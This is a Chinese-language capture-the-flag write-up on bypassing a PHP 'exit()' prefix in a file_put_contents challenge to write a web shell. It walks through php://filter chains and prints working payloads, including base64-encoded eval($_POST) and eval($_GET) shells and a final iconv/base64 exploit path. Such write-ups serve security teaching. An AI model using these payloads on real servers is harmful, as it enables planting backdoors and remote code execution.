打开题目,直接得到了源码
<?php
show_source(__FILE__);
function getKey($path){
$name = $path.md5($_SERVER["REMOTE_ADDR"]).'.php';
return $name;
}
echo $_SERVER["REMOTE_ADDR"];
$expire = $_POST['expire'];
$path = $_POST['path'];
$filename = getKey($path);
$value = $filename;
$data = serialize($value);
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
?> 127.0.0.1
这道题的灵感应该来自于Thinkphp的反序列漏洞,很明显,存在危险函数file_put_contents
,应该可以写入任意文件Get Shell,所以关键要注意两个参数$filename
与$data
的传入
但是主要思考的地方在于下行代码
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
很自然的想到死亡退出的题目,大致思路是使用伪协议包含解码之后再写入,这样其它的多余代码和exit()
部分会被解码为乱码被php自动忽略,达到绕过退出代码,插入木马Get Shell的目的
该题的大体思路还是通过解码的方式使得exit()
失效
但是按常规的死亡退出解法并不能解决该题,主要是由于插入进去的语句是拼接在//
之后的,也就是写入的$expire
会被注释掉
$data = serialize($value);
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
这里还做了一次序列化再将$data拼接进去,那这里就存在可以利用的可能了。
那这里就需要考虑的是使用哪种解码方式可以成功写入木马并且Get Shell
首先考虑的是rot13
加解密,也就是path=php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[_]);?>
,由于我们测试的ip为127.0.0.1这样就会生成 名为<?cuc @riny($_TRG[_]);?>f528764d624db129b32c21fbca0cb8d6.php
的文件,但是这种在windows环境下属于错误的文件名格式,所以在windows环境下无法写入进去
所以,需要想办法去除<
和?
等字符
php提供了string.strip_tags
和convert.base64-decode
过滤器
strip_tags 可以用来删除字符串中的 HTML代码 和 PHP代码 ;
base64-decode 可以用来解码 base64字符串
可以用strip_tags
来去除<?...exit()代码片段,使用base64编码<?php...eval($...?>防止被 strip_tags 删除。如下:
path=php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php
但是当我们写入的时候又发生了一个问题
这是因为我们的path语句当中带有
=
号,读入之后被base64解密的时候无法解析=
号,因此报了错,导致只能写入空文件,造成写入木马的失败
<?php
$filename_a= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
$data_without = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
file_put_contents($filename_a, $data_without); #带有等号 会报错
$filename_b= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
$data_with = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resourceaPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
file_put_contents($filename_b, $data_with) #不带有等号 成功写入
运行上述代码就可知,使用 strip_tags 和 base64 的方法一般情况下不可取,因为 resource 后面一定要有=
在php中才是合法的语法规则。
分析在linux下执行exp可以成功写入文件,但是无法执行的原因
写入的文件为
<?cuc
//000000000000
rkvg();?>
f:101:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=<?php @eval($_GET[_]);?>647p4s96n28n577173q6r398rrspp3sr.cuc
访问该文件,会报错 Parse error: syntax error, unexpected ‘rkvg’ (T_STRING) 导致后续代码无法执行。
这是因为 php 默认会开启short_open_tag
(手册),导致 php 把 <? ?>之间的内容识别为php代码,但是由于<?cuc
,也就是 <?后面出现了 cuc 字符串,使得代码语法不合格,php 报错退出执行。
整理问题重新思考一下
在该题中,path是可控的,它控制了文件名与写入的内容,根据上面的分析,由于题目环境是Linux,因此这里先考虑通过base64解密的方式同时绕过掉对<??>的检测和死亡退出,为了更好的理解,把代码的执行过程简化一下
$path='php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4';
$filename=$path.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($path.'647c4f96a28a577173d6e398eefcc3fe.php');
echo $filename."\n\n";
echo $data."\n";
/**
php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php
<?php
//000000000000
exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";
**/
#file_put_contents($filename, $data);
可以发现文件名变成了PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php
文件内容为
<?php
//000000000000
exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";
且会被convert.base64-decode过滤器进行base64解码,但是由于有等号,写入文件肯定会报错。所以现在的问题就变成了,如何让文件名中不含有=
。
大家可以查看php手册英文版的这个页面,拉到最下面,会发现一个过滤器:convert.iconv.*
,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。它的作用等价于函数iconv()
(这个过滤器在php的中文页面是没有描述的。
看以下demo:
<?php
$cc='php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc,'=');
/**
123.txt 写入的内容为: +AD0-
**/
也就是,convert.iconv
这个过滤器把 =
转化成了 +AD0-
,要知道 +AD0-
是可以被 convert.base64-decode
过滤器解码的。
答案呼之欲出。使用 convert.iconv.*
配合 convert.base64-decode
。
所以该题的payload为
由于base64是四个字节为一组
,所以要在base64编码前补字母达到使得shell语句被正常解码的目的
path=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../h.php
注:参考文章